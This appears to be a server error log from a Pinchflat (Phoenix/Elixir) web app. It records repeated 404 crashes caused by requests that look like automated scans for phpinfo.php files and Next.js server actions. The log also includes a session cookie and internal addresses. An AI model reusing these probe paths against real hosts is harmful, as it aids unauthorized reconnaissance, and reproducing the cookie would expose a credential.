path_info: ["current", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/current/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXSP8TlnJD94ABV6B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 67, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /current/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/current/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 67, host_info: :undefined (truncated) 17:14:35.724 [info] GET /services/phpinfo.php 17:14:35.725 [debug] QUERY OK source="settings" db=0.1ms idle=789.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.725 [debug] QUERY OK source="settings" db=0.1ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.725 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:35.725 [error] #PID<0.11835.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 68) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /services/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 68, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11835.0>, params: %{}, path_info: ["services", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/services/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXTQ6ZNVevKEABV8B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 68, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /services/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/services/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 68, host_info: :unde (truncated) 17:14:35.997 [info] GET /service/phpinfo.php 17:14:35.998 [debug] QUERY OK source="settings" db=0.1ms idle=545.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.998 [debug] QUERY OK source="settings" db=0.1ms idle=545.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:35.998 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:35.998 [error] #PID<0.11836.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 69) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /service/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 69, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11836.0>, params: %{}, path_info: ["service", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/service/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXUR-HYhKCIYABV-B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 69, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /service/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/service/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 69, host_info: :undefined (truncated) 17:14:36.270 [info] GET /laravel/phpinfo.php 17:14:36.271 [debug] QUERY OK source="settings" db=0.1ms idle=545.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:36.271 [debug] QUERY OK source="settings" db=0.0ms idle=545.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:14:36.271 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:14:36.271 [error] #PID<0.11837.0> running PinchflatWeb.Endpoint (connection #PID<0.11765.0>, stream id 70) terminated Server: pinchflat.8layer8.com:80 (http) Request: GET /laravel/phpinfo.php ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /laravel/phpinfo (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 70, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, halted: false, host: "pinchflat.8layer8.com", method: "GET", owner: #PID<0.11837.0>, params: %{}, path_info: ["laravel", "phpinfo"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.8layer8.com", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {10, 0, 1, 40}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0"}, {"host", "pinchflat.8layer8.com"}, {"next-action", "x"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "10.0.0.2"}, {"x-forwarded-host", "pinchflat.8layer8.com"}, {"x-forwarded-port", "443"}, {"x-forwarded-proto", "https"}, {"x-forwarded-server", "24de652d339a"}, {"x-nextjs-request-id", "3157cf75"}, {"x-real-ip", "10.0.0.2"} ], request_path: "/laravel/phpinfo.php", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKFsXVTFBWrpIg4ABWAB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11765.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/laravel/phpinfo.php", host: "pinchflat.8layer8.com", peer: {{10, 0, 1, 40}, 34438}, bindings: %{}, sock: {{10, 0, 1, 49}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYRlVCdUpZd0I0TnBhcFdzdDRpNkZwNlZj.F9eQJ-GZUvBHQeafjyhta6FewNdZfBffz5paE5tx2F0", "host" => "pinchflat.8layer8.com", "next-action" => "x", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "10.0.0.2", "x-forwarded-host" => "pinchflat.8layer8.com", "x-forwarded-port" => "443", "x-forwarded-proto" => "https", "x-forwarded-server" => "24de652d339a", "x-nextjs-request-id" => "3157cf75", "x-real-ip" => "10.0.0.2" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 70, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET 